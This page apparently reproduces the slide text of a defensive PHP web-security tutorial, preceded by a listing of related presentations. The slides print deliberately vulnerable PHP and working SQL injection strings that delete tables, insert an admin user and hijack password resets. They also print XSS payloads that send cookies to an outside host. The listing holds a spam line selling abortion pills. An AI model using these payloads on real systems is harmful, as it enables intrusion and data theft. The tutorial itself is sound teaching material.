Guard Authentication: Powerful, Beautiful SecurityGuard Authentication: Powerful, Beautiful Security
Guard Authentication: Powerful, Beautiful Security
 
The Art Of Readable Code
The Art Of Readable CodeThe Art Of Readable Code
The Art Of Readable Code
 
Marrow: A Meta-Framework for Python 2.6+ and 3.1+
Marrow: A Meta-Framework for Python 2.6+ and 3.1+Marrow: A Meta-Framework for Python 2.6+ and 3.1+
Marrow: A Meta-Framework for Python 2.6+ and 3.1+
 
Min-Maxing Software Costs - Laracon EU 2015
Min-Maxing Software Costs - Laracon EU 2015Min-Maxing Software Costs - Laracon EU 2015
Min-Maxing Software Costs - Laracon EU 2015
 
Frontin like-a-backer
Frontin like-a-backerFrontin like-a-backer
Frontin like-a-backer
 
Is HTML5 Ready? (workshop)
Is HTML5 Ready? (workshop)Is HTML5 Ready? (workshop)
Is HTML5 Ready? (workshop)
 
Beyond PHP - it's not (just) about the code
Beyond PHP - it's not (just) about the codeBeyond PHP - it's not (just) about the code
Beyond PHP - it's not (just) about the code
 
Zf2 how arrays will save your project
Zf2   how arrays will save your projectZf2   how arrays will save your project
Zf2 how arrays will save your project
 
Spring has got me under it’s SpEL
Spring has got me under it’s SpELSpring has got me under it’s SpEL
Spring has got me under it’s SpEL
 
Unit testing zend framework apps
Unit testing zend framework appsUnit testing zend framework apps
Unit testing zend framework apps
 

Similaire à My app is secure... I think

2014 database - course 3 - PHP and MySQL
2014 database - course 3 - PHP and MySQL2014 database - course 3 - PHP and MySQL
2014 database - course 3 - PHP and MySQL
Hung-yu Lin
 
PHP DATABASE MANAGEMENT.pptx
PHP DATABASE MANAGEMENT.pptxPHP DATABASE MANAGEMENT.pptx
PHP DATABASE MANAGEMENT.pptx
CynthiaKendi1
 
Building Better Applications with Data::Manager
Building Better Applications with Data::ManagerBuilding Better Applications with Data::Manager
Building Better Applications with Data::Manager
Jay Shirley
 

Similaire à My app is secure... I think (20)

My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I think
 
2014 database - course 3 - PHP and MySQL
2014 database - course 3 - PHP and MySQL2014 database - course 3 - PHP and MySQL
2014 database - course 3 - PHP and MySQL
 
Php Security By Mugdha And Anish
Php Security By Mugdha And AnishPhp Security By Mugdha And Anish
Php Security By Mugdha And Anish
 
Web Security - Hands-on
Web Security - Hands-onWeb Security - Hands-on
Web Security - Hands-on
 
Building Modern and Secure PHP Applications – Codementor Office Hours with Be...
Building Modern and Secure PHP Applications – Codementor Office Hours with Be...Building Modern and Secure PHP Applications – Codementor Office Hours with Be...
Building Modern and Secure PHP Applications – Codementor Office Hours with Be...
 
php2.pptx
php2.pptxphp2.pptx
php2.pptx
 
veracruz
veracruzveracruz
veracruz
 
veracruz
veracruzveracruz
veracruz
 
veracruz
veracruzveracruz
veracruz
 
veracruz
veracruzveracruz
veracruz
 
Web security
Web securityWeb security
Web security
 
User authentication module using php
User authentication module using phpUser authentication module using php
User authentication module using php
 
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya MorimotoSQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
 
PHP DATABASE MANAGEMENT.pptx
PHP DATABASE MANAGEMENT.pptxPHP DATABASE MANAGEMENT.pptx
PHP DATABASE MANAGEMENT.pptx
 
How to work with legacy code PHPers Rzeszow #2
How to work with legacy code PHPers Rzeszow #2How to work with legacy code PHPers Rzeszow #2
How to work with legacy code PHPers Rzeszow #2
 
The Zen of Lithium
The Zen of LithiumThe Zen of Lithium
The Zen of Lithium
 
Ruxmon cve 2012-2661
Ruxmon cve 2012-2661Ruxmon cve 2012-2661
Ruxmon cve 2012-2661
 
Drush. Secrets come out.
Drush. Secrets come out.Drush. Secrets come out.
Drush. Secrets come out.
 
SQL Injection in action with PHP and MySQL
SQL Injection in action with PHP and MySQLSQL Injection in action with PHP and MySQL
SQL Injection in action with PHP and MySQL
 
Building Better Applications with Data::Manager
Building Better Applications with Data::ManagerBuilding Better Applications with Data::Manager
Building Better Applications with Data::Manager
 

Plus de Wim Godden

Plus de Wim Godden (19)

Beyond php - it's not (just) about the code
Beyond php - it's not (just) about the codeBeyond php - it's not (just) about the code
Beyond php - it's not (just) about the code
 
Bringing bright ideas to life
Bringing bright ideas to lifeBringing bright ideas to life
Bringing bright ideas to life
 
The why and how of moving to php 8
The why and how of moving to php 8The why and how of moving to php 8
The why and how of moving to php 8
 
The why and how of moving to php 7
The why and how of moving to php 7The why and how of moving to php 7
The why and how of moving to php 7
 
Building interactivity with websockets
Building interactivity with websocketsBuilding interactivity with websockets
Building interactivity with websockets
 
Bringing bright ideas to life
Bringing bright ideas to lifeBringing bright ideas to life
Bringing bright ideas to life
 
Your app lives on the network - networking for web developers
Your app lives on the network - networking for web developersYour app lives on the network - networking for web developers
Your app lives on the network - networking for web developers
 
The why and how of moving to php 7.x
The why and how of moving to php 7.xThe why and how of moving to php 7.x
The why and how of moving to php 7.x
 
The why and how of moving to php 7.x
The why and how of moving to php 7.xThe why and how of moving to php 7.x
The why and how of moving to php 7.x
 
Beyond php - it's not (just) about the code
Beyond php - it's not (just) about the codeBeyond php - it's not (just) about the code
Beyond php - it's not (just) about the code
 
Building interactivity with websockets
Building interactivity with websocketsBuilding interactivity with websockets
Building interactivity with websockets
 
Your app lives on the network - networking for web developers
Your app lives on the network - networking for web developersYour app lives on the network - networking for web developers
Your app lives on the network - networking for web developers
 
Practical git for developers
Practical git for developersPractical git for developers
Practical git for developers
 
Is your code ready for PHP 7 ?
Is your code ready for PHP 7 ?Is your code ready for PHP 7 ?
Is your code ready for PHP 7 ?
 
Beyond php - it's not (just) about the code
Beyond php - it's not (just) about the codeBeyond php - it's not (just) about the code
Beyond php - it's not (just) about the code
 
The promise of asynchronous php
The promise of asynchronous phpThe promise of asynchronous php
The promise of asynchronous php
 
When dynamic becomes static
When dynamic becomes staticWhen dynamic becomes static
When dynamic becomes static
 
The promise of asynchronous PHP
The promise of asynchronous PHPThe promise of asynchronous PHP
The promise of asynchronous PHP
 
When dynamic becomes static
When dynamic becomes staticWhen dynamic becomes static
When dynamic becomes static
 

Dernier

+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
?#DUbAI#??##{{(☎️+971_581248768%)**%*]'#abortion pills for sale in dubai@
 
Finding Java's Hidden Performance Traps @ DevoxxUK 2024
Finding Java's Hidden Performance Traps @ DevoxxUK 2024Finding Java's Hidden Performance Traps @ DevoxxUK 2024
Finding Java's Hidden Performance Traps @ DevoxxUK 2024
Victor Rentea
 

Dernier (20)

+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
 
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
 
MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024
 
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
 
Platformless Horizons for Digital Adaptability
Platformless Horizons for Digital AdaptabilityPlatformless Horizons for Digital Adaptability
Platformless Horizons for Digital Adaptability
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
Corporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptxCorporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptx
 
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ..."I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
 
Vector Search -An Introduction in Oracle Database 23ai.pptx
Vector Search -An Introduction in Oracle Database 23ai.pptxVector Search -An Introduction in Oracle Database 23ai.pptx
Vector Search -An Introduction in Oracle Database 23ai.pptx
 
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, AdobeApidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
 
MS Copilot expands with MS Graph connectors
MS Copilot expands with MS Graph connectorsMS Copilot expands with MS Graph connectors
MS Copilot expands with MS Graph connectors
 
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
 
[BuildWithAI] Introduction to Gemini.pdf
[BuildWithAI] Introduction to Gemini.pdf[BuildWithAI] Introduction to Gemini.pdf
[BuildWithAI] Introduction to Gemini.pdf
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdf
 
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
 
Finding Java's Hidden Performance Traps @ DevoxxUK 2024
Finding Java's Hidden Performance Traps @ DevoxxUK 2024Finding Java's Hidden Performance Traps @ DevoxxUK 2024
Finding Java's Hidden Performance Traps @ DevoxxUK 2024
 
Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...
 
DBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor PresentationDBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor Presentation
 
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a Fresher
 

My app is secure... I think

  • 1. Wim Godden Cu.be Solutions @wimgtr My app is secure... I think
  • 2. Who am I ? Wim Godden (@wimgtr)
  • 11. Belgium – the traffic
  • 12. Who am I ? Wim Godden (@wimgtr) Founder of Cu.be Solutions (http://cu.be) Open Source developer since 1997 Developer of PHPCompatibility, OpenX, ... Speaker at PHP and Open Source conferences
  • 13. Who are you ? Developers ? System engineers ? Network engineers ? Ever had a hack ? Through the code ? Through the server ?
  • 14. This tutorial Based on 2-day training Full stack → no Vagrant/VirtualBox required Code samples will be provided after tutorial Lots of links at the end → slides on Joind.in
  • 15. My app is secure... I think Basic stuff = known... … or is it ? Code is not enough Code Webserver Database server Operating system Network
  • 16. Disclaimer Do not use these techniques to hack Use the knowledge to prevent others from hacking you
  • 17. Reasons for hackers to hack Steal and sell your data Use your infrastructure as a jumpstation to hack other servers Send out lots of spam Use your server in a botnet for DDOS attacks Bring down your systems …
  • 18. Part 1 : the most common attacks
  • 19. OWASP Open Web Application Security Project www.owasp.org Top 10
  • 20. SQL Injection (OWASP #1) Over 15 years Still #1 problem
  • 21. SQL Injection (OWASP #1) <? require("header.php"); $hostname="localhost"; $sqlusername="someuser"; $sqlpassword="somepass"; $dbName="somedb"; MYSQL_CONNECT($hostname,$sqlusername,$sqlpassword) OR DIE("Unable to connect to database."); @mysql_select_db("$dbName") or die("Unable to select database."); $fp=fopen("content/whatever.php","r"); while (!feof($fp)) $content.=fgets($fp,2); $res=MYSQL_DB_QUERY("somedb","select * from whatever where id=" . $_GET['id']); for ($cnt=0;$cnt<MYSQL_NUMROWS($res);$cnt++) { $lst.="<LI>".MYSQL_RESULT($res,$cnt,"text")."</LI>n"; } $content=str_replace("<@textstring@>",$lst,$content); print $content; require("footer.php"); ?>
  • 22. SQL Injection (OWASP #1) Over 15 years Still #1 problem Easy to exploit Easy to automate (scan + exploit) Often misunderstood
  • 23. Standard SQL injection example <?php $query = "select * from user where email='" . $_POST['email'] . "'"; $result = mysql_query($query); if (mysql_errno() != 0) { echo 'All is good'; } else { echo 'Nobody home'; } ' OR '1'='1 select * from user where email='' OR '1'='1' E-mail :
  • 24. Standard SQL injection example <?php $query = "select * from user where email='" . $_POST['email'] . "'"; $result = mysql_query($query); if (mysql_errno() != 0) { echo 'All is good'; } else { echo 'Nobody home'; } ' OR '1'='1 select * from user where '1'='1' E-mail :
  • 25. Standard SQL injection example <?php $query = "select * from user where email='" . $_POST['email'] . "'"; $result = mysql_query($query); if (mysql_errno() != 0) { echo 'All is good'; } else { echo 'Nobody home'; } ' OR '1'='1 select * from user; E-mail :
  • 26. Typical pre-2005 site Your mission (impossible) : secure the site ! index.php contact.php register.php login.php Once logged in : main.php … (all other content)
  • 27. SQL injection – sample – lostpassword.php <?php $query = "select * from user where email='" . $_POST['email'] . "'"; $result = mysql_query($query); if (mysql_errno() != 0) { echo 'Error !'; } else { if (mysql_numrows($result) == 0) { echo 'E-mail address not found'; } else { $newpass = updatepassword(mysql_result($result, 0, 'email')); mail($_POST['email'], 'New password', 'New password: ' . $newpass); echo 'New password sent to ' . mysql_result($result, 0, 'email'); } }
  • 28. SQL injection – sample – lostpassword lostpassword.php?email=whatever@me.com%27+OR+%271%27%3D%271 email=whatever@me.com' OR '1'='1 select * from user where email='whatever@me.com' OR '1'='1'
  • 29. Worst case : data deletion email=whatever@me.com' OR '1'='1'; delete from user where '1'='1
  • 30. Knowing the table structure email=whatever@me.com' AND email is NULL; --' select * from user where email='whatever@me.com' AND email is NULL; --'; <?php $query = "select * from user where email='" . $_GET['email'] . "'"; $result = mysql_query($query); if (mysql_errno() != 0) { echo 'Error !'; } else { if (mysql_numrows($result) == 0) { echo 'Not found'; } else { $newpass = updatepassword(mysql_result($result, 0, 'email')); mail($_GET['email'], 'New password', 'Your new password is ' . $newpass); echo 'Your new password was sent to ' . mysql_result($result, 0, 'email'); } }
  • 31. Other fields ? id firstname / first_name lastname / last_name password / pass / pwd is_admin / isadmin / admin … email=whatever@me.com'; INSERT INTO user('email', 'password', 'firstname', 'lastname', 'is_admin') values('myhackeraddress@gmail.com', md5('reallyinsecure'), 'My', 'New User', 1); --';
  • 32. Update, retrieve password, update again email=whatever@me.com'; UPDATE user set email='myhackeraddress@gmail.com' where email='some-user- we@found.com'; --'; Retrieve password for myhackeraddress@gmail.com email=whatever@me.com'; UPDATE user set email='some-user- we@found.com' where email='myhackeraddress@gmail.com'; --';
  • 33. Hackers just want your data email=whatever@me.com' OR 1=1 limit 1, 1; --'; email=whatever@me.com' OR 1=1 limit 2, 1; --'; email=whatever@me.com' OR 1=1 limit 3, 1; --'; ...
  • 34. They want ALL data (not just email addresses) Field name Type id int username varchar(32) password varchar(64) firstname varchar(32) lastname varchar(32) address varchar(255) zip varchar(8) city varchar(32) country varchar(3) ... ...
  • 35. They want ALL data (not just email addresses) Field name Contents password hoh8asfdgih$0h3oh#hflkdsafhfsdfdsaf address Hollywood Blvd. 32
  • 36. They want ALL data (not just email addresses) Field name Contents password hoh8asfdgih$0h3oh#hflkdsafhfsdfdsaf address Hollywood Blvd. 32|||hoh8asfdgih$0h3oh#hflkdsafhfsdfdsaf
  • 37. They want ALL data (not just email addresses) email=whatever@me.com'; UPDATE user set address=concat(address, '|||', password), email='myhackeraddress@gmail.com' where email='some-user- we@found.com'; --'; Retrieve password for myhackeraddress@gmail.com Start scraping ! email=whatever@me.com'; UPDATE user set password=substring_index(address, '|||', -1), address=substring_index(address, '|||', 1), email='some-user- we@found.com' where email='myhackeraddress@gmail.com'; --';
  • 38. SQL Injection – much more... Much more than logging in as a user SQL injection possible → wide range of dangers
  • 39. Fixing SQL injection : attempt #1 Addslashes() ? $query = mysql_query('select * from user where id=' . addslashes($_GET['id'])); www.hack.me/id=5%20and%20sleep(10) select * from user where id=5 and sleep(10) What if we hit that code 100 times simultaneously ? MySQL max_connections reached → Server unavailable
  • 40. Fixing SQL injection : attempt #2 mysql_real_escape_string() mysqli_real_escape_string() pg_escape_string() ...
  • 41. Fixing SQL injection : use prepared statements $select = 'select * from user where email = :email'; $stmt = $db->prepare($select); $stmt->bindParam(':email', $_GET['email']); $stmt->execute(); $results = $stmt->fetchAll();
  • 42. ORM tools Doctrine, Propel, … When using their query language → OK Beware : you can still execute raw SQL !
  • 43. Other injections LDAP injection Command injection (system, exec, …) → Use escapeshellarg() for the arguments Eval (waaaaaaaaaah !) … User input → PHP → External system If you provide the data, it's your responsibility ! If you consume the data, it's your responsibility !
  • 44. Demo <?php mysql_connect('localhost', 'sqlinjection', 'password') or die('Not working'); mysql_select_db('sqlinjection'); $result = mysql_query("select * from user where email='" . $_GET['email'] . "'"); if (mysql_numrows($result) > 0) { echo mysql_result($result, 0, 'name'); } else { echo 'Error'; }
  • 47. Session fixation angel.cloud.com 1 Create evil PHP code 4 Session cookie on .cloud.com + redirect 2 3 devil.cloud.comdevil.cloud.com 5 Login6 Use evil session cookie <html> … <a href=”http://devil.cloud.com”>Verify your account</a> … </html>
  • 49. Ways to avoid session fixation/hijacking session.use_trans_sid = 0 session.use_only_cookies = true session.cookie_httponly = true Change session on login using session_regenerate_id(true) Do not share sessions between sites/subdomains Do not accept sessions not generated by your code Foreign session → remove the session cookie from the user Regenerate session regularly using session_regenerate_id(true) Use HTTPS session.cookie_secure = true All of the above help against session fixation AND session hijacking !
  • 50. XSS – Cross Site Scripting <?php addMessage($_GET['id'], $_GET['message']); echo 'Thank you for submitting your message : ' . $_GET['message']; URL : /submitMessage http://www.our-app.com/submitMessage?id=5&message=<script>alert('Fun eh ?')</script>
  • 51. XSS – more advanced http://www.our-app.com/submitMessage?id=5&message=Thanks, we will be in touch soon.<script type="text/javascript" src="http://someplace.io/i-will-get-your- cookie.js"></script>
  • 52. XSS – Advanced, yet simple <img src=x onerror=this.src='http://someplace.io/post-the-cookie- here.php?c='+document.cookie> http://www.our-app.com/?id=5&message=Thanks %2C+we+will+be+in+touch+soon.%3Cimg+src%3Dx+onerror%3Dthis.src%3D %27http%3A%2F%2Fsomeplace.io%2Fpost-the-cookie-here.php%3Fc%3D %27%2Bdocument.cookie%3E%0D%0A
  • 53. XSS : Non-persisted vs persistent Previous examples were non-persistent : issue occurs once Post code to exploitable bulletin board → Persistent → Can infect every user → If you stored it without filtering, you're responsible for escaping on output !
  • 54. XSS : how to avoid Filter input, escape output <?php echo 'I just submitted this message : ' . htmlentities($_GET['message'], ENT_QUOTES, 'UTF-8', false);
  • 55. CSRF : Cross Site Request Forgery www.our-app.com 1 Submit article for review 2 Retrieve articlefor review 3 Evil html or jsmakes call 4 Devil uses extra privileges Here's the article you were asking for. <img src=”http://www.our-app.com/userSave.php?username=Devil&admin=1” />
  • 56. CSRF : ways to avoid Escape the output (where did we hear that before ?) Add a field to forms with a random hash/token for verification upon submit Check the referer header <form method="post" action="userSave.php"> <input name="id" type="hidden" value="5" /> <input name="token" type="hidden" value="a4gjogaihfs8ah4gisadhfgifdgfg" /> rest of the form </form>
  • 57. General rules – input validation Assume all data you receive as input contains a hack attempt ! That includes data from trusted users → over 90% of hacks are done by employees/partners/... Filter on disallowed characters Check validity of Dates Email addresses URLs etc. Input validation is not browser-side code, it's server-side code (you can ofcourse use browser-side code to make it look good)
  • 58. General rules – validation or filtering ? Validation : Verify if the values fit a defined format Examples : expecting int, but received 7.8 → “error, 7.8 is not a valid integer” expecting international phone number, but received “+32 3 844 71 89” Filtering / sanitizing : Enforce the defined format by converting to it Examples : expecting int, but received 7.8 → 8 expecting int, but received 'one' → 0 Both have (dis)advantages
  • 59. General rules – escaping output Doing input validation → why do you need output escaping ? What if the data originates from a webservice an XML feed … Always escape output !
  • 60. Clickjacking Do you want to support our cause ? NoSure Do you want to delete all your Facebook friends ? Yes No FB button
  • 61. Clickjacking - solutions Sending X-Frame-Options header : X-Frame-Options: DENY X-Frame-Options: SAMEORIGIN Sending frame-ancestor directive : Content-Security-Policy: frame-ancestors 'none' Content-Security-Policy: frame-ancestors 'self' Content-Security-Policy: frame-ancestors example.com wikipedia.org Jump out of iframe (use Framekiller)
  • 62. Bad authentication / authorization layer index.php (checks cookie) login.php (sets cookie) redirect to login main.php redirect to main
  • 63. Bad authentication / authorization layer index.php (checks cookie) login.php (sets cookie) redirect to login main.php (doesn't check cookie !) redirect to main
  • 64. Bad authentication / authorization layer Only hiding URLs on view, not restricting on action /somewhere is visible on screen /somewhere/admin is not visible, but is accessible Allowing direct access to other user's data (= insecure direct object reference) /user/profile/id/311 is the user's profile /user/profile/id/312 is also accessible and updateable Allowing direct access to file downloads with guessable urls /download/file/83291.pdf Creating cookies : loggedin=1 userid=312 admin=1
  • 65. Protecting your web stack PHP Webserver Database server Mail server Other servers Firewalls ...
  • 66. Protecting your web stack - PHP Update to the latest version (5.4 = EOL, 5.5 will be EOL this year) Safe_mode = dead → use PHP-FPM or VMs Register_globals = dead :-) Suhosin patch → mostly for web hosting companies Disable 'dangerous' PHP functions you don't need in php.ini system exec passthru 'Eval' is not a function, so can not be disabled
  • 67. Protecting your web stack – PHP code If you allow uploads, restrict extensions. No .php, .phtml ! Don't show errors...
  • 68. Protecting your web stack – PHP code If you allow uploads, restrict extensions. No .php, .phtml ! Don't show errors... ...and don't show exceptions, but... …log them ! And watch your logs ;-) If you use filenames as parameters download.php?filename=test.pdf Make sure you don't allow ../../../../etc/passwd Use basename() and pathinfo() to restrict File extensions : Use .php Don't use .inc, .conf, .include, ...
  • 69. Detecting / blocking hack attempts from PHP 2 options : Build your own Use an existing system CAPTCHA IDS
  • 70. Building a simple system Add an input field that's hidden from view (bots will fill it out) Implement a captcha Limit number of attempts on captcha Limit number of posts to certain URL
  • 71. Limiting number of posts to a URL function isUserBlocked($userId) { $submissions = $memcache->get('submissions_' . $userId); if ($submissions->getResultCode() == Memcached::RES_NOTSTORED) { $submissions = array(); } $now = new DateTimeImmutable(); if (count($submissions) == 10) { if (new DateTime($submissions[9]) > $now->modify('-1 hour')) { return false; } unset($submissions[9]); } array_unshift($submissions, $now->format(DateTime::ATOM)); $memcache->set('submissions_' . $userId, $submissions); return true; }
  • 72. Using an existing system PHPIDS : The standard IDS for PHP More complete Exposé : By @enygma (Chris Cornutt) Faster Use the same ruleset Provides impact value = level of trust in data $data = array( 'POST' => array( 'test' => 'foo', 'bar' => array( 'baz' => 'quux', 'testing' => '<script>test</script>' ) ) ); $filters = new ExposeFilterCollection(); $filters->load(); $logger = new ExposeLogMongo(); $manager = new ExposeManager($filters, $logger); $manager->run($data); // should return 8 echo 'impact: '.$manager->getImpact()."n";
  • 73. Protecting your web stack – Passwords Don't md5() → sha512, blowfish, … Set a good password policy Min 8 chars, min 1 number, min 1 uppercase char, … Reasonable maximum length (> 20) → Hashed result is always the same length, so restricting is insecure Try to avoid password hints → Email is better for recovery Don't create your own password hashing algorithm ! Use password_hash 5.5+ : built-in < 5.5 : ircmaxell/password-compat
  • 74. Password_hash $hash = password_hash($_POST['password'], PASSWORD_DEFAULT); $options = array('cost' => 15); if (password_verify($password, $hash)) { if (password_needs_rehash($hash, PASSWORD_DEFAULT, $options)) { $newhash = password_hash($password, PASSWORD_DEFAULT, $options); } echo 'Password correct'; } else { echo 'Password incorrect'; } Calculating password hash : Verifying password hash :
  • 75. Rehashing old passwords from md5() or sha1() $stmt = $db->prepare('SELECT * FROM user where email=:email'); $stmt->execute(':email' => $email)); $userRow = $stmt->fetch(PDO::FETCH_ASSOC); if ($stmt->rowCount() > 0) if (password_verify($password, $hash) || $userRow['pass'] == md5($password)){ // password_needs_rehash will return true when presented with unknown hash if (password_needs_rehash($hash, PASSWORD_DEFAULT)) { $newhash = password_hash($password, PASSWORD_DEFAULT); $stmt = $db->prepare('UPDATE user SET pass=:pass WHERE email=:email'); $stmt->bindparam(':email', $email); $stmt->bindparam(':pass', $newhash); $stmt->execute(); } // Set logged in data in session here, then redirect to logged in page } } echo 'Password incorrect'; Tell users who haven't logged in for a while that their password will expire in x days Upon login :
  • 76. 2 factor authentication Requires an additional verification Usually on a separate device Can be one-time, occasional or every time
  • 77. Log everything ! Failed login attempts → Lock an account after x number of failed attempts for x minutes → Send automated e-mail to account owner Simultaneous login from multiple locations Logins from different regions on same day → But : beware of VPNs If possible : every action of a user Registered user Anonymous user (link session to IP or Ips) Log all PHP errors → Every error is important → If an error is a bug, it should have been fixed already
  • 78. Protecting your web stack – Webserver Block direct access to upload directories
  • 79. Access to private files, uploads, ...
  • 80. Protecting your web stack – Webserver Block direct access to upload directories Allow only access to port 80 and 443 (!) Disable phpMyAdmin (VPN only if required) On Apache don't : AllowOverride All Options Indexes Block access to .svn and .git Block access to composer.lock, composer.json, … (which should be outside your webroot normally)
  • 83. Protecting your web stack – Webserver
  • 84. Protecting your web stack – Webserver Don't run web server as root Don't let web server user access anything outside web root Detect and ban flood/scan attempts in Nginx : http { limit_conn_zone $binary_remote_addr zone=conn_limit_per_ip:10m; limit_req_zone $binary_remote_addr zone=req_limit_per_ip:10m rate=5r/s; server { limit_conn conn_limit_per_ip 10; limit_req zone=req_limit_per_ip burst=10 nodelay; } }
  • 85. Use automatic logfile scanner & banner Example : Fail2ban [http-get-dos] enabled = true port = http,https filter = http-get-dos logpath = /var/log/nginx/access.log maxretry = 300 findtime = 300 bantime = 600 action = iptables[name=HTTP, port=http, protocol=tcp]
  • 86. Protecting your web stack – Versions Don't expose versions PHP : expose_php = 0 Apache : ServerTokens ProductOnly ServerSignature Off Nginx server_tokens off;
  • 87. Protecting your web stack – Database server No access from the web required Give it a private IP Other websites on network ? → send traffic over SSL 1 user per DB 1 DB per user 1 DB per application
  • 88. Protecting your web stack – Mail server Setup SSL for POP3, IMAP, SMTP Setup DomainKeys Setup SPF (Sender Policy Framework)
  • 89. Protecting your web stack – DNS server Possible weak point in architecture Controls web, MX (mail) records, anti-spam, etc. DNS hijacking DNS spoofing
  • 90. Protecting your web stack Use public/private key pairs for SSH, not passwords Don't login as root → Use sudo for commands that really need it Allow SSH access only from VPN Running Memcached ? Gearman ? … ? → Block external access
  • 94. Lack of updates Not updating system packages Not updating frameworks and libraries Not just main components Doctrine Bootstrap Javascript libraries etc. Not updating webserver software Not updating database server software Recently : Heartbleed (OpenSSL) Shellshock (Bash) Ghost (Glibc)
  • 95. Protecting your web stack - firewalls Separate or on-server Default policy = deny all Don't forget IPv6 !!! Perform regular scans from external location Use blacklists to keep certain IP ranges out
  • 96. Protect your backups Should be encrypted with public key Private key should be stored in 2 separate locations Backups should never be stored on same server Backup server should pull backups
  • 97. MySQL : use the binlog Setup Master-Slave (even if you don’t have a Slave !) Master creates binlog Allows recovery to a specific second Backup the binlogs for 7-10 days MySQL backup : mysqldump with --opt --single-transaction (preferably on slave to avoid locking users)
  • 98. First action of a hacker Make sure they don't lose the access they gained Create new user → easy to detect Install a custom backdoor → easy to detect with good IDS Install a backdoor based on installed software → Example : start SSHD with different config on different port (remember firewall ?) → Harder to detect → Kill it... what happens ? → Probably restarts via cronjob
  • 99. Using an Intrusion Detection System Host-based Intrusion Detection System (HIDS) Network-based Intrusion Detection System (NIDS)
  • 100. Host-based Intrusion Detection System Scans the file system for changes New/deleted files Modified files (based on checksum) File permission changes Old systems are standalone : AIDE, Tripwire, AFICK Easy to update by hacker, not recommended (unless combined with backup system) Intrusion detection by backup Best Open Source tool = OSSEC Client-server-based architecture → real-time notification that hacker can't stop Centralized updates
  • 105. Decentralized alternative : Samhain Can be used centralized or standalone Log to syslog, send email, write to DB Processing on the client Improves processing speed Requires CPU power on client
  • 106. Network-based Intrusion Detection Systems Snort Open Source Supported by Cisco (rules are not free) Analyzes traffic, blocks malicious traffic Huge user base, tons of addons
  • 107. Snort
  • 108. Network-based Intrusion Detection Systems Sirucata Similar to Snort Multi-threaded Supports hardware acceleration (packet inspection by GPU !) Detects malware in traffic Scripting engine : Lua (with LuaJIT)
  • 110. Network-based Intrusion Detection Systems Kismet Wireless IDS Detects rogue access points Prevents MITM attacks Detects hidden access points
  • 111. Kismet
